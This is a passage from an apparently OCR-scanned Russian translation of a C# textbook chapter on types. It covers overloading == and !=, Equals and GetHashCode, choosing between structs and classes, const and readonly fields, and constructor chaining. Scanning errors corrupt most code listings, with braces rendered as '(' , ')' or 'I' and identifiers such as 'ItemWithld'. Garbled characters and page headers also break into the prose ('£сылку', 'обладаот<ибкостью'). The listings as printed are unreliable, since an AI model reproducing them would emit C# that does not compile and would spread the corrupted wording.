поскольку, как кажется, эти операторы обладают проти- воположным смыслом. Однако при применении к некоторым типам определенные пары операндов дадут значение false для обоих опера- торов, так что C# требует независимо определить оба. Как показывает листинг 3.11, сделать это для нашего простого типа достаточно легко. Листинг 3.11. Поддержка пользовательского сравнения public static bool operator ==(Counter x, Counter y) ( return x.Count == y.Count; ) public static bool operator ! = (Counter x, Counter y) I return x.Count != y.Count; ) public override bool Equals (object obj) I if (obj is Counter) 139
Глава 3 { Counter с = (Counter) obj; return c.Count == this.Count; I else ( return false; } ) public override int GetHashCode() ( return _count; } Если вы просто добавите определение операторов == и ! =, вы можете обнаружить, что компилятор выдает предупреждения с рекомендацией определить два метода с именами Equals и GetHashCode. Equals является стандартным методом, доступным во всех типах .NET, и если вы опре- деляете пользовательский смысл для оператора ==, необходимо также проследить, чтобы метод Equals производил то же самое. Именно это и сделано в листинге 3.11, и, как вы можете видеть, Equals обладает той же логикой, что и оператор ==, однако при этом ему приходится делать некоторую дополнительную работу. Метод Equals выполняет сравнение значений любого типа, потому сначала мы проверяем, сравнивается ли наш объект Counter с другим объектом Counter. Это требует использова- ния нескольких операторов преобразования, о которых я подробно рас- скажу в главе 6. Я применяю оператор is, проверяющий, ссылается ли переменная на экземпляр указанного типа, после чего, уже убедившись в том, что наш объект Counter действительно сравнивается с другим объ- ектом Counter, я использую выражение (Counter) obj, чтобы получить £сылку соответствующего типа на второй объект Counter, что позволя- ет выполнить сравнение. И наконец, последнее, что я делаю в листин- ге 3.11, это реализую метод GetHashCode, что требуется в случае с мето- дом Equals. Подробности см. во врезке «Метод GetHashCode». Метод GetHashCode Все .NET-типы предлагают метод с именем GetHashCode. Он возвра- щает число типа int, в некотором смысле представляющее значение объекта. Существуют определенные структуры данных и алгоритмы, 140
Типы предназначенные для работы с этой упрощенной и сокращенной версией значения объекта. Например, хэш-таблица позволяет очень эффективно найти конкретную заодсь в очень большой таблице, при условии, что тип искомого вами значения предлагает хорошую реализацию хэш-кода. На этот механизм полагаются некоторые из классов коллекций, о чем рассказывается в главе 5. Детальное опи- сание этого механизма выходит за рамки данной книги, однако вы найдете массу информации, если выполните поиск в Интернете по слову «хэш-таблица». Корректная реализация метода GetHashCode должна удовлетворять двум требованиям. Первое состоит в том, что, какое бы число экзем- пляр ни возвратил в качестве своего хэш-кода, он должен и дальше возвращать тот же код, пока его собственное значение остается не- изменным. Второе требование состоит в том, что два экземпляра, обладающие одинаковым значением согласно методу Equals, долж- ны возвращать одинаковый хэш-код. Любой тип, который не сможет выполнить хотя бы одно из этих требований, приведет к неправиль- ной работе кода, использующего метод GetHashCode. Реализация по умолчанию метода GetHashCode выполняет первое требование, но даже не пытается выполнить второе — возьмите любые два объек- та, которые используют реализацию по умолчанию;*! в большинстве случаев они будут обладать разными хэш-кодами. Именно поэтому при переопределении метода Equals также необходимо переопре- делить метод GetHashCode. В идеальном случае объекты, обладающие разными значениями, должны также обладать разными хэш-кодами. Конечно, это не всег- да возможно — метод GetHashCode возвращает значение типа int, а тип int обладает конечным количеством доступных значений (если быть точным, 4 294 967 296). Если ваш тип данных предлагает больше от- личающихся значений, то ясно, что нельзя сделать так, чтобы каждое возможное значение выдавало отличающийся хэш-код. Например, очевидно, что 64-разрядный целочисленный тип, long, поддержива- ет больше отличающихся значений, чем тип int. Если вызвать метод GetHashCode для объекта типа long со значением 0, в .NET 4.0 он воз- вратит 0, и этот же хэш-код он возвратит для объекта типа long со зна- чением 4 294 967 297. Такую ситуацию называют хэш-коллизией, и она представляет собой неизбежный жизненный факт. Просто программа, где используются хэш-коды, должна справляться с такой ситуацией. Существующие правила не требуют, чтобы отображение значений на хэш-коды было фиксированным. То, что некоторое конкретное значение выдало некоторый конкретный хэш-код сегодня, совсем не означает, что это значение выдаст тот же хэш-код при запуске программы через неделю. Также не предъявляется требование, что- 141
Глава 3 бы программы выдавали одинаковый хэш-код для одного и того же значения при одновременном запуске на двух разных компьютерах. На самом деле существуют веские основания для того, чтобы этого избегать. При совершении атак на онлайновые компьютерные си- стемы злоумышленники иногда пытаются вызвать хэш-коллизии. Коллизии снижают эффективность основанных на хэш-кодах алго- ритмов, поэтому атака, направленная на процессор сервера, будет более эффективной, если сможет вызвать коллизии для значений, о которых известно, что они будут использоваться сервером для по- иска по хэш-коду. Во избежание этой проблемы ряд типов платфор- мы .NET Framework намеренно изменяют свой способ генерирова- ния хэш-кодов при каждом перезапуске программы. Поскольку хэш-коллизии являются неизбежными, правила не спо- собны их запретить. Следовательно, можно сделать так, чтобы GetHashCode всегда возвращал одно и то же значение, вне зависимо- сти от реального значения экземпляра. Таким образом, если, к при- меру, данный метод будет всегда возвращать 0, это формально не будет нарушением правил. Однако такое, как правило, приводит к плохой производительности хэш-таблиц и тому подобных воз- можностей. В идеальном случае хэш-коллизии должны быть сведе- ны к минимуму; тем не менее если вы не ожидаете, что какие-либо из возможностей будут зависеть от хэш-кодов вашего типа, то нет смысла тратить время на тщательную разработку хэш-функции, вы- дающей значения с хорошим распределением. В некоторых случаях допустимо использовать «ленивый» подход, например, предостав- лять значение одного поля, как сделано в листинге 3.11. После того как мы внесем в класс из листинга 3.7 изменения, пред- ставленные в листинге 3.11, а также удалим первый конструктор, мы сможем заменить ключевое слово class ключевым словом struct. Еще раз запустив код из листинга 3.9, мы получим следующий вывод: 1 1 1 True True True False False False 142
Типы Как и ранее, все три счетчика содержат значение 1, что не должно быть сюрпризом. Затем выполняются первые три сравнения, в которых, как вы помните, используется оператор ==. Поскольку в листинге 3.11 определяется пользовательская реализация этого оператора, сравнива- ющая значения, не вызывает удивлений тот факт, что все три сравнения теперь дают в результате значение true. А все сравнения с помощью ме- тода object.ReferenceEquals дают false, поскольку наш тип теперь яв- ляется значимым, так же, как тип int. Фактически мы наблюдали такое же поведение, когда использовали int вместо типа Counter. Переменные типа Counter теперь содержат не ссылки — а непосредственные значе- ния, поэтому сравнение ссылок уже не имеет смысла. (Компилятор опять производит неявное преобразование, выполняя упаковку значе- ний; об этом процессе мы поговорим в главе 7.) Пришло время вернуться к важному вопросу: было ли хорошей иде- ей преобразовать тип Counter в значимый? Ответом будет «нет». Я наме- кал на это все время; однако мне хотелось проиллюстрировать кое-какие из проблем, к которым может привести преобразование в структуру в том случае, когда оно неуместно. Так что же всё^Таки будет хорошей структурой? ‘ Когда следует использовать значимый тип Я уже описал кое-какие различия в видимом поведении класса и структуры, а также проиллюстрировал некоторые из вещей, что не- обходимо выполнять иначе при написании структуры, однако я еще не объяснил, как сделать выбор в пользу того или другого. Краткий ответ на этот вопрос состоит в следующем: существуют только два случая, когда следует использовать значимый тип. Во-первых, структура будет идеальным выбором, если тип должен представлять некоторое значе- ние, например, число. Во-вторых, пусть не идеальным, но все же хоро- шим выбором структура окажется, если вы установите, что она обладает лучшими параметрами производительности в планируемом для типа сценарии использования. Однако стоит подробнее остановиться на по- ложительных и отрицательных сторонах этого выбора; заодно я развею удивительно стойкий миф о значимых типах. В случае ссылочных типов объект представляет собой сущность, от- личную от ссылающейся на нее переменной. Такое може+ быть очень по- лезным, поскольку объекты часто используются как модели реальных вещей со своей идентичностью. Однако это имеет определенные послед- 143
Глава 3 ствия для производительности. Время жизни объекта не обязательно напрямую связано со временем жизни ссылающейся на него перемен- ной. Вы можете создать новый объект, сохранить ссылку на него в ло- кальной переменной, а позднее скопировать эту ссылку в статическое поле. Затем создавший объект метод может закончить свою работу, и, таким образом, время жизни локальной переменной, которая ссылалась на объект изначально, придет к концу; однако объект продолжит свое существование, поскольку к нему еще можно обратиться другим спо- собом. Среда CLR направляет значительные усилия на то, чтобы убедить- ся, что занимаемая объектом память освобождается не преждевременно, а лишь после того, как объект выходит из употребления. Это достаточно сложный процесс (подробно описанный в главе 7), который может при- вести к потреблению .NET-приложениями значительного количества процессорного времени просто на отслеживание объектов с целью опре- делить, когда прекращается их использование. Эти накладные расходы растут с увеличением количества объектов. Кроме того, определенным образом затраты на отслеживание объектов может повысить и увели- чение сложности — если конкретный объект не прекращает свое суще- ствование тфлько потому, что к нему можно обратиться по некоторому запутанному пути, среде CLR потребуется отслеживать этот путь при каждой попытке определить, какая память еще используется. Каждый уровень косвенности требует дополнительной работы. Ссылка вносит косвенность по определению, потому каждая очередная переменная ссылочного типа создает сложности для среды CLR. Значимые типы часто можно обрабатывать намного более простым способом. Возьмем, к примеру, массивы. Объявив массив ссылочно- го типа, вы получите массив ссылок. Это обеспечивает значительную гибкость — при желании, можно присвоить элементам значение null или же сделать так, чтобы разные элементы ссылались на один и тот же объект. Однако если все, что вам нужно, — это лишь простая по- следовательная коллекция объектов, то такая гибкость превращается в накладные расходы. Для коллекции из 1000 экземпляров ссылочного типа требуется 1001 блок памяти: один блок для хранения массива ссы- лок и 1000 — для хранения объектов, на которые те ссылаются. Однако в случае значимого типа все можно разместить в одном блоке, что су- щественно упрощает управление памятью — массив либо еще исполь- зуется, либо нет, и при этом не требуется отдельно проверять каждый из 1000 элементов. 144
Типы От подобной эффективности могут выиграть не только массивы. Определенное преимущество это дает й полям. Допустим, у нас есть класс, который содержит 10 полей типа int. 40 байт, необходимых для хранения их значений, могут находиться непосредственно внутри па- мяти, выделенной для экземпляра вмещающего класса. Сравните это с 10 полями ссылочного типа. Хотя ссылки этих полей можно сохра- нить внутри памяти экземпляра класса, объекты, на которые те ссыла- ются, представляют собой отдельные сущности; таким образом, если все поля не будут равны null и станут ссылаться на разные объекты, вы получите 11 блоков памяти — один для экземпляра, содержащего все поля, и по одному для каждого из объектов, на которые ссыла- ются поля. Эту разницу между ссылками и значениями для массивов и объектов иллюстрирует рис. 3.1. (Приводятся очень простые при- меры, поскольку тот же принцип действует и в случае десятка экзем- пляров.) Объект с полями ссылочного типа Объект с полями значимого типа 42 99 Рис. 3.1. Разница между ссылками и значениями 1 145
Глава 3 Использование значимых типов может также упрощать отслежи- вание времени жизни. Зачастую память, выделенную для локальных переменных, можно (освободить сразу после завершения работы мето- да (хотя, как мы увидим в главе 9, существование вложенных методов означает, что не в любом случае все так просто). Это означает, что па- мять для локальных переменных может выделяться в стеке, что обычно обходится гораздо дешевле по сравнению с выделением памяти в куче. В случае ссылочных типов дело не заканчивается на памяти перемен- ной — объект, на который ссылается переменная, требует более сложно- го обращения, поскольку после завершения работы метода могут оста- ваться другие пути доступа к этому объекту. Однако в случае значимых типов переменная содержит значение, потому они лучше справляются с ситуациями, когда возможно эффективное обращение с памятью ло- кальных переменных. На самом деле выделенная для значения память может освобождать- ся даже до завершения работы метода. Новые экземпляры значений мо- гут перезаписывать старые. Например, обычно C# может использовать для представления переменной лишь один участок памяти, невзирая на то, сколько разных значений вы в ней разместите. В отличие от ссылоч- ного типа, для которого создание нового экземпляра требует выделение нового блока в куче, создание нового экземпляра значимого типа не обя- зательно влечет за собой выделение дополнительной памяти. Именно поэтому ничего страшного не представляет тот факт, что каждая опе- рация, которую мы совершаем над значимым типом — например, опе- рация сложения или вычитания целых чисел, — приводит к созданию нового экземпляра. Один из наиболее стойких мифов в отношении значимых ти- * * пов гласит, что, в отличие от объектов, значения размещаются —в стеке. Хотя объекты действительно находятся исключитель- но в куче, значимые типы не всегда располагаются в сте- ке (а когда они там, это является деталью реализации, а не одной из фундаментальных особенностей С#). Два примера, подтверждающих правоту моих слов, демонстрирует рис. 3.1. Значение типа int внутри массива типа int [ ] находится не в стеке; оно размещается внутри выделенного для масси- ва блока кучи. Аналогичным образом, если класс объявляет нестатическое поле типа int, то это значение типа int будет внутри блока кучи, выделенноГоДля вмещающего экземпляра класса. Даже локальные переменные значимых типов далеко 146
Типы не всегда размещаются в стеке. Например, оптимизация мо- жет позволить разместить значение локальной переменной внутри регистров центрального процессора, вместо того что- бы хранить его в стеке. И, как вы увидите в главе 9, иногда ло- кальные переменные также размещаются в куче. У вас может возникнуть искушение резюмировать предыдущие абза- цы следующим образом: «Хотя есть некоторые сложные детали, в целом значимые типы являются более эффективными». Однако такой вывод будет ошибкой. В некоторых ситуациях использование значимых типов гораздо затратнее. Как вы помните, отличительной чертой значимого типа является копирование значений при выполнении присваивания. В случае значимого типа большого размера это требует сравнительно больших затрат. Например, библиотека классов .NET Framework опре- деляет тип Guid для представления 16-байтных глобально уникальных идентификаторов. Это структура, а потому любая инструкция присваи- вания значения типа Guid приводит к созданию копии 16-байтной струк- туры данных. Это более затратно, чем создание копии ссылки, посколь- ку среда CLR использует реализацию ссылок на основе указателей, что означает, что по своему размеру ссылки близки к указателям (обычно это 4 или 8 байт, но что еще важнее, такие данные легко помещаются водном регистре процессора). К копированию значений приводит не только операция присваи- вания. Создания копии также может потребовать передача аргумента значимого типа методу. Хотя при вызове метода допускается передача ссылки на значение, как мы увидим позже, это слегка ограниченная раз- новидность ссылки, и в некоторых случаях ограничения будут нежела- тельными; поэтому в итоге вы можете решить, что все же лучше предпо- честь затраты на создание копии. Таким образом, значимые типы не будут безусловно более эффек- тивными, чем ссылочные типы, и ваш выбор должен определяться тем, какое поведение вам требуется. Наиболее важный вопрос при этом состоит в том, представляет ли для вас важность идентичность экзем- пляра. Иными словами, нужно ли вам, чтобы один объект отличался от другого? Для типа Counter из нашего примера ответом, по всей видимо- сти, будет «да»: если нам необходимо использовать что-либо в качестве счетчика, то в самом простейшем случае это должен быть уникальный объект со своей идентичностью (в противном случае наш тип Counter не несет в себе ничего, помимо того, что уже предлагает тип int). После 147
Глава 3 того как мы отошли от этой модели, наш код стал выглядеть несколь- ко странно. Первоначальный код в листинге 3.3 был гораздо проще, чем тот, что получился у нас в итоге. В связи с этим возникает другой важный вопрос: содержит ли экзем- пляр вашего типа состояние, которое изменяется с течением времени? Изменяемые значимые типы обычно вызывают проблемы, поскольку это очень легко может привести к обработке копии значения, а не нуж- ного вам экземпляра. (Я приведу важный пример такой проблемы да- лее, в подразделе «Свойства и изменяемые значимые типы», и еще один при описании типа List<T> в главе 5.) Таким образом, обычно лучше, если значимые типы неизменяемы. Это не означает, что нельзя будет изменять переменные таких типов; это лишь означает, что для измене- ния переменной потребуется полностью заменить ее содержимое дру- гим значением. Для таких типов, как int, данное различие может пока- заться несущественным, однако оно становится гораздо более важным в случае структур с множеством полей, таких как .NET-тип Complex для представления комплексных чисел с вещественной и мнимой частями. Вы не можете изменить свойство Imaginary (мнимая часть) существую- щего экземпляра типа Complex, поскольку этот тип является неизменяе- мым. Если имеющееся у вас значение не является тем, что вам нужно, неизменяемость лишь означает, что вам необходимо создать новое зна- чение, поскольку вы не можете модифицировать существующий экзем- пляр. Неизменяемость не обязательно означает, что вы должны использо- вать структуру — встроенный тип string тоже является неизменяемым, но представляет собой класс*. Однако поскольку создание новых экзем- пляров значимого типа в C# зачастую не требует выделения дополни- тельной памяти, значимые типы способны более эффективно, чем клас- сы, поддерживать неизменяемость в сценариях, когда создается много новых значений (например, в циклах). Неизменяемость не является аб- солютным требованием для структур — в библиотеке классов .NET есть несколько достойных сожаления исключений. Однако изменяемость в случае значимых типов, как правило, вызывает проблемы, поскольку она очень легко может привести к обработке некоторой копии значения, * У вас не возникнет необходимости в том, чтобы данный тип был значимым, поскольку строки иногда весьма велики, и передача их по значению потребовала бы больших затрат. В любом случае, этот тип не может быть структурой, поскольку строки обладают переменной длиной. В C# не допускается создание собственных типов данных с переменной длиной. Два экземпляра одного^гипа могут обладать разным размером только в случае строк и массивов. 148
Типы а не того экземпляра, что вы хотели изменить. Поскольку значимые типы обычно должны быть неизменяемыми, требование изменяемости обычно указывает, что вам нужен класс, а не структура. Мой тип Counter начал выглядеть странно после того, как я сделал его неизменяемым; для него было естественно поддерживать изменяющееся с течением вре- мени значение счетчика, и использовать его стало гораздо труднее, ког- да при каждом изменении значения счетчика возникла необходимость создавать новый экземпляр. Это еще один признак того, что тип Counter должен быть классом, а не структурой. Тип должен быть структурой только в том случае, если он является чем-то, по своей природе очень четко напоминающим другие вещи, ко- торые представляются значимыми .типами (он также должен обладать достаточно малым размером, поскольку передача по значению типов большого размера требует больших затрат). Например, в библиотеке классов .NET Framework тип Complex является структурой, что не вы- зывает удивления, поскольку это числовой тип, и все встроенные чис- ловые типы значимые. Тип TimeSpan также значимый, что вполне име- ет смысл, поскольку это, по сути, просто число, которое представляет отрезок времени. Во фреймворке пользовательского интерфейса WPF структурами являются типы, используемые для представления простых геометрических данных, такие как Point и Rect. Тем не менее, если вы со- мневаетесь, примените класс; тип Counter более удобен в использовании в виде класса. Члены Независимо от того, создаете ли вы класс, или структуру, существует несколько разновидностей членов, которые можно поместить в пользо- вательский тип. Примеры мы уже видели, однако давайте рассмотрим их более подробно. За исключением статических конструкторов, можно специфициро- вать доступность для всех членов классов и структур. Совершенно так же, как тип, любой член типа может быть помечен ключевым словом public или internal. Члены также могут быть помечены ключевым сло- вом private (закрытый), что делает их доступными только для кода вну- три типа, и этот уровень доступа используется по умолчанию. И, как мы увидим в главе 6, наследование добавляет еще два уровня доступа к членам, protected (защищенный) и protected internal (защищенный внутренний). 149
Глава 3 Поля Вы уже знаете, что поля представляют собой именованные ячейки памяти, которые в зависимости от типа содержат либо значение, либо ссылку. По умолчанию каждый экземпляр типа получает собственный набор полей, однако если вам нужно, чтобы поле создавалось только один раз, а не для каждого экземпляра, вы можете использовать клю- чевое слово static. Вы также видели ключевое слово readonly, которое указывает на то, что поле можно установить только во время создания экземпляра, но не после этого. Ключевое слово readonly не дает абсолютной гарантии. Суще- ствуют способы, позволяющие изменить значение даже такого поля. Одним из них является использование механизмов отра- жения, о которых идет речь в главе 13, а другим — небезопасный код, о чем мы поговорим в главе 21. Компилятор не допустит, чтобы вы изменили такое поле случайно, но при достаточном желании эту защиту можно обойти. И даже если не пускаться на такие ухищрения, поле, доступное только для чтения, можно свободно изменять на этапе создания экземпляра. C# предлагает ключевое слово, которое на первый взгляд кажется знакомым: исгГдльзуя модификатор const, вы можете определить кон- стантное поле. У такого поля несколько иное назначение. В то время как поле, доступное только для чтения, инициализируется и не изменяется после этого, константное поле определяет значение, которое является неизменным без каких-либо исключений. Поле, доступное только для чтения, гораздо более гибкое: оно способно принадлежать к любому типу, и его значение может вычисляться на этапе выполнения. Значе- ние константного поля устанавливается на этапе компиляции, что огра- ничивает число доступных типов. Для большинства ссылочных типов единственным поддерживаемым константным значением является null, поэтому на практике модификатор const обычно используется только с типами, для которых компилятор предлагает встроенную поддерж- ку. (Говоря точнее, если вы хотите использовать значения, отличные от null, константное поле должно принадлежать к одному из встроенных числовых типов, bool, string или перечислимому типу. О последней раз- новидности типов рассказывается далее в этой главе.) Это делает константное поле немного более ограниченным по срав- нению с полем, доступным только для чтения, так что у вас есть все 150
Типы основания задать вопрос: какой же смысл использовать его? Что ж, хотя константное поле не обладаот<ибкостью, оно делает категоричное утверждение о неизменной природе значения. Например, класс Math платформы .NET Framework определяет константное поле типа double с именем PI, которое содержит значение математической константы tn, представленное с максимально возможной для типа double точностью. Это значение останется фиксированным всегда — таким образом, оно — константа в самом категоричном смысле. С константными полями следует проявлять некоторую осторож- ность; спецификация C# позволяет компилятору исходить из предпо- ложения, что такое значение действительно никогда не изменится. Код, считывающий значение поля, доступного только для чтения, извлекает это значение из содержащей поле памяти на этапе выполнения. Но когда вы используете константное поле, компилятор может считать значение на этапе компиляции и скопировать его в ваш код, как если бы это был литерал. Потому если вы создадите компонент библиотеки, в котором объявляется константное поле, и позднее измените его значение, то ис- пользующий вашу библиотеку код может не подхватить это изменение, если вы его не перекомпилируете. Одно из преимуществ константного поля состоит в том, что его допускается использовать в определенных контекстах, в которых невозможны поля, доступные только для чтения. Например, метка case в инструкции switch должна быть зафиксирована на этапе компиляции, поэтому она не способна ссылаться на поле, до- ступное только для чтения, однако ее можно определить, используя кон- стантное поле подходящего типа. Константные поля можно также ис- пользовать в выражении, определяющем значение другого константного поля (при условии, что вы не создадите при этом циклические ссылки). Константное поле должно содержать выражение, которое определя- ет его значение, подобно тому, как это сделано в листинге 3.12. Листинг 3.12. Константное поле const double kilometersPerMile = 1.609344; Выражение инициализатора является необязательным для обыч- ных полей класса и полей класса, доступных только для чтения. Если опустить инициализирующее выражение, поле будет автоматически проинициализировано значением по умолчанию (0 для числовых типов и эквивалентные значения для остальных — false, null и т. д.). Структу- ры в этом отношении чуть более ограничены, поскольку по умолчанию их инициализация всегда включает установку всех экземплярных полей 151
Глава 3 в 0, потому от вас требуется опустить инициализаторы для этих полей. Однако структуры поддерживают инициализаторы для неэкземпляр- ных (то есть константных и статических) полей. Если вы предоставите выражение инициализатора для неконстант- ного поля, к нему не будет предъявляться требование вычисления на этапе компиляции, и, таким образом, оно сможет выполнять определен- ную работу на этапе выполнения, такую как вызовы методов или чте- ние свойств. Конечно, у подобного кода могут быть побочные эффекты, поэтому важно учитывать, в каком порядке он выполняется. Инициализаторы нестатических полей запускаются при создании каждого экземпляра; при этом они выполняются в том порядке, в каком записаны в файле, непосредственно перед запуском конструктора. Ини- циализаторы статических полей выполняются не более одного раза, вне зависимости от того, сколько экземпляров типа вы создадите. Они так- же выполняются в порядке объявления, однако точно установить, когда это произойдет, гораздо труднее. Если у вашего класса нет статического конструктора, C# гарантирует, что инициализаторы полей будут запу- щены до первого обращения к полю в классе, однако это не обязательно произойдет в самый последний момент — C# оставляет за собой право запустить инициализаторы полей в любое более раннее время. На самом деле точный момент их запуска варьируется в зависимости от исполь- зуемой версии реализации C# от компании Microsoft. Наличие статиче- ского конструктора делает ситуацию немного более ясной: инициали- заторы статических полей запускаются до статического конструктора, однако это только вызывает дополнительные вопросы: что такое стати- ческий конструктор и когда он запускается? Таким образом, давайте по- бдизбе взглянем на то, что представляют собой конструкторы. Конструкторы Создаваемый объект может нуждаться в некоторой информации для выполнения своей работы. В качестве примера можно привести класс Uri из пространства имен System, который служит для представления унифицированных идентификаторов ресурса (URI, Uniform Resource Identifier), таких как URL-адреса. Поскольку единственное назначе- ние этого класса состоит в том, чтобы содержать и предоставлять дан- ные об идентификаторе URI, не было бы ^никакого смысла создавать объект Uri, который ничего бы не знал о своем идентификаторе URL В действительности невозможно создать такой объект, не предоставив 152
Типы идентификатор URL Попытка запустить код из листинга 3.13 приведет к ошибке компилятора. Листинг 3.13. Ошибка: попытка создать объект"Jri, не предоставив идентификатор URI Uri oops = new Uri(); //He откомпилируется Класс Uri определяет несколько конструкторов — членов, содер- жащих код, инициализирующий новый экземпляр типа. Если для вы- полнения своей работы некоторый класс требует определенную ин- формацию, это требование можно привести в исполнение с помощью конструкторов. При создании экземпляра класса почти всегда в какой- то момент запускается конструктор*, потому если все определенные вами конструкторы будут запрашивать некоторую информацию, то ис- пользующему ваш класс разработчику придется предоставить ее. Таким образом, все конструкторы класса Uri должны получать идентификатор URI в той или иной форме. Чтобы определить конструктор, необходимо сначала указать доступность (public, private, internal и т. д.), а затем — имя вмещающего типа. Далее идет список параметров в круглых скоб- ках (который может быть пустым). Листинг 3.14 демонстрирует класс, определяющий один конструктор, требующий два аргумента: с типом decimal и с типом string. За списком аргументов следует блок, содержа- щий код. Таким образом, конструкторы во многом напоминают методы, однако на месте обычных возвращаемого типа и имени метода стоит имя вмещающего типа. Листинг 3.14. Класс с одним конструктором public class Item public Item(decimal price, string name) ( _price = price; _name = name; } private readonly decimal _price; private readonly string _name; * Существует одно исключение. Если класс поддерживает возможность среды CLR, называемую сериализацией, то объекты этого типа могут быть десериализованы непосредственно из потока данных, в обход конструкторов. Однако даже в таком случае можно диктовать, какие данные следует предоставить. 153
Глава 3 Перед вами достаточно простой конструктор: он всего лишь копирует свои аргументы в поля. Многие конструкторы не делают ничего помимо этого. Хотя в конструкторе можно свободно разместить сколько угод- но кода, по принятому соглашению разработчики обычно не ожидают, что конструктор будет выполнять значительный объем действий — его основная задача состоит в том, чтобы обеспечить корректное начальное состояние объекта. Это может включать проверку аргументов и выбра- сывание исключения в случае проблемы, но не более того. Если вы на- пишете конструктор, который делает что-то нетривиальное, например, добавляет информацию в базу данных, или отсылает сообщение по сети, это может удивить использующих ваш класс разработчиков. Листинг 3.15 демонстрирует применение конструктора, принимаю- щего аргументы. Мы просто используем оператор new, передавая в каче- стве аргументов значения подходящего типа. Листинг 3.15. Использование конструктора var iteml = new Item(9.99M, ’’Hammer”); Вы можете определить много конструкторов, однако они должны отличаться друг от друга?нельзя определить два конструктора, которые бы принимали одинаковое количество аргументов одинаковых типов, поскольку в таком случае оператор new не смог бы определить, какой из этих конструкторов использовать. Дели вы не определите ни одного конструктора, C# предоставит ^конструктор по умолчанию, эквивалентный пустому конструктору без аргументов (и, как упоминалось ранее, при создании структуры вы по- лучите его даже в том случае, если определите другие конструкторы). Хотя спецификация C# недвусмысленным образом опреде- 4ч ляет «конструктор по умолчанию» как конструктор, генери- 3?*' руемый для вас компилятором, имейте в виду, что этот тер- мин употребляется еще в одном широко распространенном смысле. В части документации компании Microsoft термин «конструктор по умолчанию» используется для обозначения любого открытого конструктора без параметров, безотноси- тельно, был ли он сгенерировавкомпилятором или нет. В этом есть определенная логика: с точки зрения использующего класс кода, невозможно определить, в чем состоит разница между явным конструктором без аргументов и сгенериро- ванным компилятором, потому если термин «конструктор по 154
Типы умолчанию» применяется для обозначения конструктора, ис- пользуемого с этой перспективы, он может означать только открытый конструктор, не’ принимающий аргументов. Однако спецификация C# определяет этот термин иначе. Сгенерированный компилятором конструктор по умолчанию не де- лает ничего, помимо инициализации полей нулями, которая выполняет- ся для всех объектов. Однако существуют ситуации, когда необходимо написать свой конструктор без параметров. Вам может потребоваться, чтобы он выполнял некоторый код. В листинге 3.16 конструктор класса устанавливает поле id, исполь- зуя статическое поле, инкрементируемое при создании нового объекта с целью предоставить каждому экземпляру уникальный идентификатор. Это не требует передачи каких-либо аргументов, но включает выполне- ние кода. (Конечно, вы не могли бы сделать то же самое в структуре, поскольку в случае структуры конструктор без аргументов всегда гене- рируется компилятором и не делает ничего помимо заполнения полей нулями.) с Листинг 3.16. Непустой конструктор без аргументов public class ItemWithld { private static int _lastld; private int _id; public ItemWithld () { _id = ++_lastld; } ) Существует еще один способ обеспечить тот же эффект, который до- стигается в листинге 3.16. Можно было бы написать статический метод с именем GetNextld и использовать его в инициализаторе поля id; тогда бы мне не потребовалось создавать данный конструктор. Однако разме- щение кода в конструкторе обладает одним преимуществом: как оказы- вается, инициализаторам полей не разрешается вызывать собственные нестатические методы объекта. Причиной этого является то, что на эта- пе инициализации полей объект еще находится в незавершенном состо- янии, и обращение к его нестатическим методам бывает опасным — они могут полагаться на то, что поля уже содержат корректные значения. 155
Глава 3 Однако объекту разрешается вызывать свои нестатические методы вну- три конструктора. Хотя создание объекта при этом так же еще не закон- чено, оно все же ближе к завершению, и уровень опасности ниже. Существует еще одна причина для того, чтобы написать свой кон- структор без аргументов. Если вы определите для класса хотя бы один конструктор, это отключит генерирование такового по умолчанию. Если вам нужно, чтобы ваш класс предоставлял параметризованный конструктор, но в то же время вы хотите, что он по-прежнему предлагал и конструктор без аргументов, вам потребуется написать его, даже если он будет пустым. Некоторые фреймворки могут использовать только классы, 4 * предоставляющие конструктор без аргументов. Например, Внесли вы создаете пользовательский интерфейс с помощью фреймворка WPF, то классы, выступающие в роли пользова- тельских элементов интерфейса, обычно должны обладать таким конструктором. Если вы создаете тип, предлагающий несколько конструкторов, вы можете заметить у них определенные общие детали — часто существуют задачи инициализации, которые должны выполнять все конструкторы. Класс в листинге 3.16 вычисляет в своем конструкторе числовой иден- тификатор для каждого объекта, и если бы он предоставлял несколько конструкторов, подобное пришлось бы делать всем им. Один из спосо- бов решить проблему состоит в том, чтобы вынести эту работу в иници- хализатор поля, но что если ее должны выполнять не все конструкторы? Допустим, определенная задача является общей для большинства кон- структоров, но вы хотите сделать исключение и создать один конструк- тор, который бы позволял не вычислять идентификатор, а указывать его вручную. В таком случае уже нельзя использовать инициализатор поля, поскольку необходимо, чтобы данную задачу можно было включать или исключать для каждого конструктора в отдельности. В листинге 3.17 представлена модифицированная версия класса из листинга 3.16, кото- рая определяет два дополнительных конструктора. Листинг 3.17. Опциональное сцепление конструкторов public class ItemWithld { private static int _lastld; 156
Типы private int _id; private string _name; public ItemWithld () { _id = ++_lastld; } public ItemWithld (string name) : this() { _name = name; } public ItemWithld(string name, int id) { _name = name; _id = id; } } Если вы взглянете на второй конструктор в данном примере, то за- метите, что после списка его параметров стоит двоеточие, за которым следует вызов первого конструктора this (). Так можно вызвать любой конструктор. Листинг 3.18 демонстрирует другой способ структуриза- ции этих трех конструкторов, показывая, как передавать аргументы. Листинг 3.18. Аргументы сцепленного конструктора public ItemWithld () : this(null) } public ItemWithld(string name) : this (name, ++_lastld) { ) private ItemWithld(string name, int id) { _name = name; _id = id; } Конструктор, принимающий два аргумента, здесь выступает в роли своего рода главного конструктора — это единственный конструктор, 157
Глава 3 который действительно выполняет какую-либо работу. Другие два про- сто выбирают подходящие аргументы для него. Данное решение, пожа- луй, является более ясным по сравнению с предыдущими примерами, поскольку вместо того, чтобы позволять каждому конструктору вно- сить свою лепту в инициализацию полей, эта работа здесь выполняется только в одном месте. Обратите внимание, что двухаргументный кон- структор в листинге 3.18 помечен ключевым словом private. На первый взгляд, кажется немного странным, что мы определяем способ создания экземпляра, и тут же делаем его недоступным, однако это приобретает вполне резонный смысл в случае сцепления конструкторов. Существу- ют и другие ситуации, в которых может быть полезен закрытый кон- структор — например, если нам потребовался метод, создающий копию существующего объекта ItemWithld; в этом случае нам следует исполь- зовать такой конструктор, но сделав его закрытым, мы оставим за собой контроль над тем, как именно создаются новые объекты. Конструкторы, которые мы уже рассмотрели, запускаются при соз- дании нового экземпляра объекта. Однако классы и структуры также способны определять статический конструктор. Он может запускаться не более одного раза за время жизни приложения. Он не вызывается явно — C# гарантирует, что он будет запущен автоматически в некото- рый момент до первого обращения к классу. Таким образом, в отличие от экземплярного конструктора, здесь у нас нет возможности передать ар- гументы. Далее, поскольку статические конструкторы не способны 